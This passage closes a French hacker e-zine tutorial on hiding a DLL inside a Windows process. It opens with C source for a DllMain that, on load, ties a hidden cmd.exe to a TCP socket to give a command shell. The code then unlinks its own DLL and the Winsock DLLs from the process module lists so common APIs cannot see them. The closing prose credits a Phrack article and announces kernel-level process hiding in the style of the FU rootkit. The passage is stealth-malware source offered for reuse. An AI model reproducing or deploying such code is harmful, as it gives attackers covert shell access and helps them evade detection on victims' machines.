->InLoadOrderModuleList.Blink; return true; } BOOL APIENTRY DllMain (HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) { // On ne traite pas les raisons autres que l'initialisation de la DLL if(dwReason!=DLL_PROCESS_ATTACH) return TRUE; WSADATA wd; SOCKET sock; STARTUPINFO si; PROCESS_INFORMATION pi; struct sockaddr_in sin; int size = sizeof(sin); memset(&sin, 0, sizeof(sin)); memset(&si, 0, sizeof(si)); WSAStartup(MAKEWORD(2,0), &wd); sock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); sin.sin_family = AF_INET; sin.sin_port = htons(8080); sin.sin_addr.s_addr = inet_addr("127.0.0.1"); bind(sock, (struct sockaddr *)&sin, size); connect(sock, (struct sockaddr *)&sin, size); si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = si.hStdOutput = si.hStdError = (void *)sock; CreateProcess( NULL, "cmd.exe", NULL, NULL, true, IDLE_PRIORITY_CLASS|CREATE_NO_WINDOW, NULL, NULL, &si, &pi ); //osef de la casse avec les StrStrI DLLHiding(DLLName); DLLHiding("ws2_32.dll"); DLLHiding("msafd.dll"); DLLHiding("wshtcpip.dll"); DLLHiding("ws2help.dll"); return true; }
Ouf ! quelle soirée je crois qu'après toutes ces émotions je vais aller me coucher moi :). Évidemment, j'aurais pu vous balancer dans la gueule comme ça le code qui planquait la DLL directement dans les trois listes chainées, mais je trouve que de voir le raisonnement qui m'a fait aboutir à ce code est plus instructif. En fait la seule fois ou j'ai vu cette méthode implémentée c'était dans Phrack (p62 -0x0c) ou Kdm ,un frenchie encore ;), le faisait directement en modifiant les 3 listes, moi j'ai voulu savoir si cela était réellement nécessaire et ça passait par du reversage d'API win pour finalement voir que face aux 2 API les plus connus pour voir les modules d'un process modif 2 listes suffisaient. Par contre je tiens a dire que cette méthode ne peut rien contre un scan de la mémoire la DLL étant forcément dans celle ci on pourra toujours la détectée. --------[7.Happy End Que je suis méchant, je viens de vous faire lire (ou pas) 30 ko sur la manière de cacher une DLL dans un process, ce n'est p-e pas la chose la plus intéressante du monde, mais ça peut toujours servir. Ce qui en revanche sert beaucoup plus c'est de cacher un process (vivi un process vous avez bien lu) et pas un pauvre code en ring3 qui hook 2 API en bois, nian je parle ici de code noyau qui réalise du DKOM (Direct Kernel Object Manipulation) une méthode implémentée par le Rootkit FU et qui permet de rendre quasi-invisible a la fois en UserLand et au noyau un prog mais ça, ca sera pour le prochain épisode mes enfants ;). En attendant votre avis m'intéresse beaucoup sur à la fois le zine et ce que j'ecris, n'hésitez pas a me contact: ivanlef0u119@yahoo.fr, comme d'hab les src seront sur mon site ds zines/moi. Maintenant vous pouvez éteindre votre téléviseur et reprendre une activité normale, bonsoir ! Ivanlef0u EMail:ivanlef0u119@yahoo.fr WebSite: http://membres.lycos.fr/moi118118 --------[ References phrack 62-0x0c: http://membres.lycos.fr/moi118118/zines/PHRACK.rar EnumProcessModules: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/ base/enumprocessmodules.asp CreateToolHelp32Snapshot: http://msdn.microsoft.com/library/default.asp?url=/library/en- us/dllproc/base/createtoolhelp32snapshot.asp DLL: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/dl lmain.asp